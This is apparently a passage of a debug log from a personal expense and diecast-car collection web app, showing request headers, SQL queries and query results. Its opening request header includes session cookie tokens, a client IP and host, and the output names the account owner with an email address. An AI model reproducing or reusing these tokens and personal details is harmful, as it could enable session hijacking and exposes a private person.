    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T07:02:34.406Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T07:02:34.407Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T07:02:34.408Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:02:34.409Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:02:34.410Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:02:34.410Z server-connect:app Executing action step identify
2026-02-04T07:02:34.410Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:34.410Z server-connect:output identity: 1
2026-02-04T07:02:34.410Z server-connect:app Executing action step restrict
2026-02-04T07:02:34.410Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:34.410Z server-connect:app Executing action step identify
2026-02-04T07:02:34.410Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:34.410Z server-connect:output identity: 1
2026-02-04T07:02:34.410Z server-connect:app Executing action step restrict
2026-02-04T07:02:34.410Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:34.411Z server-connect:app Executing action step identify
2026-02-04T07:02:34.411Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:34.411Z server-connect:output identity: 1
2026-02-04T07:02:34.411Z server-connect:app Executing action step restrict
2026-02-04T07:02:34.411Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:34.411Z server-connect:output restrict: undefined
2026-02-04T07:02:34.411Z server-connect:app Executing action step select
2026-02-04T07:02:34.411Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T07:02:34.411Z server-connect:output restrict: undefined
2026-02-04T07:02:34.411Z server-connect:app Executing action step single
2026-02-04T07:02:34.411Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T07:02:34.411Z server-connect:app Executing action step identify
2026-02-04T07:02:34.411Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:34.412Z server-connect:output identity: 1
2026-02-04T07:02:34.412Z server-connect:app Executing action step restrict
2026-02-04T07:02:34.412Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:34.412Z server-connect:output restrict: undefined
2026-02-04T07:02:34.412Z server-connect:app Executing action step select
2026-02-04T07:02:34.412Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:02:34.413Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:02:34.413Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T07:02:34.413Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T07:02:34.414Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T07:02:34.415Z server-connect:output restrict: undefined
2026-02-04T07:02:34.415Z server-connect:app Executing action step select
2026-02-04T07:02:34.415Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:02:34.415Z server-connect:app Executing action step identify
2026-02-04T07:02:34.415Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:34.415Z server-connect:output identity: 1
2026-02-04T07:02:34.415Z server-connect:app Executing action step restrict
2026-02-04T07:02:34.415Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:34.417Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T07:02:34.417Z server-connect:output restrict: undefined
2026-02-04T07:02:34.417Z server-connect:app Executing action step paged
2026-02-04T07:02:34.417Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:02:34.418Z server-connect:app Executing action step identify
2026-02-04T07:02:34.418Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:34.418Z server-connect:output identity: 1
2026-02-04T07:02:34.418Z server-connect:app Executing action step restrict
2026-02-04T07:02:34.418Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:34.419Z server-connect:output restrict: undefined
2026-02-04T07:02:34.419Z server-connect:app Executing action step select
2026-02-04T07:02:34.419Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:02:34.420Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T07:02:34.421Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
